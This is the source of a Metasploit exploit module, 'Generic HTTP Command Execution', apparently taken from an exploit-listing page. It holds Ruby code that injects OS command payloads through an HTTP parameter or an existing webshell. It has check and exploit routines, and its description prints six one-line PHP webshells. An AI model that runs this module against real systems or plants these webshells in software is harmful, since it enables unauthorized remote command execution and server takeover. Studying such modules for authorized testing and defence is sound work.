Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-OS_CMD_EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Generic HTTP Command Execution',
        'Description' => %q{
          This module interacts with existing command execution functionality on a target system,
          where user-supplied input is directly passed to system execution functions via a HTTP request.
          This could be from an existing vulnerability, or uploaded webshells such as:
          <?php passthru($_REQUEST['cmd']); ?>
          <?php system($_REQUEST['cmd']); ?>
          <?php echo exec($_REQUEST['cmd']); ?>
          <?php echo shell_exec($_REQUEST['cmd']); ?>
          <?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
          <?php echo `{$_REQUEST['cmd']}`; ?>

          It is likely that HTTP evasion options will break this exploit.
        },
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => '&;' # `&` = GET   `;` = POST
        },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Linux', {
              'Platform' => 'linux'
            }
          ],
          [
            'Unix', {
              'Platform' => 'unix'
            }
          ],
          [
            'Windows', {
              'Platform' => 'win'
            }
          ],
          [
            'macOS/OSX', {
              'Platform' => 'osx'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Author' => [
          'egypt',   # Original Metasploit module: exploits/unix/webapp/php_eval
          'g0tmi1k'  # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2026-02-26',
        'References' => [],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('POSTDATA', [false, 'POST data to send, with the command injection placeholder set to !INJECT!. Otherwise, a GET request will be used.']),
        OptString.new('URIPATH', [true, 'The URI to request, with the command injection placeholder set to !INJECT!.', '/ping/?cmd=!INJECT!']),
        OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"'])
      ]
    )
  end

  def datastore_headers
    headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
    headers_hash = {}
    if headers && !headers.empty?
      headers.split(',').each do |header|
        next if header.nil? || header.empty?

        key, value = header.split('=', 2)
        next if key.nil? || value.nil?

        key = key.strip
        value = value.strip
        next if key.empty? || value.empty?

        headers_hash[key] = value
      end
    end
    headers_hash
  end

  def send_request(method, uri, data, timeout = 30)
    feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
    feedback_text << " -> #{data}" unless method.casecmp?('get')
    print_status(feedback_text)

    req = {
      'global' => true,
      'uri' => uri,
      'method' => method,
      'headers' => datastore_headers.merge(
        'Connection' => 'close'
      )
    }
    unless method.casecmp?('get')
      req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
      req['data'] = data
    end

    send_request_raw(req, timeout)
  end

  def check
    method = datastore['POSTDATA'] ? 'POST' : 'GET'
    content = rand_text_alphanumeric(rand(16..31))
    payload = Rex::Text.uri_encode("echo #{content}")
    uri = datastore['URIPATH'].sub('!INJECT!', payload)
    data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)

    response = send_request(method, uri, data)

    return Exploit::CheckCode::Unknown('Could not connect to the target') unless response
    return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if response.code == 200 && response.body.match(content)
    return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200

    vprint_error("Server responded with: HTTP #{response.code}")
    return Exploit::CheckCode::Safe('Unexpected HTTP status code received')
  end

  def exploit
    method = datastore['POSTDATA'] ? 'POST' : 'GET'
    uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(payload.encoded))
    data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload.encoded)

    # Very short timeout because the request may never return if we're sending a socket payload
    timeout = 0.01

    response = send_request(method, uri, data, timeout)
    vprint_warning("Server responded with: HTTP #{response.code}") if response && response.code != 200
  end
end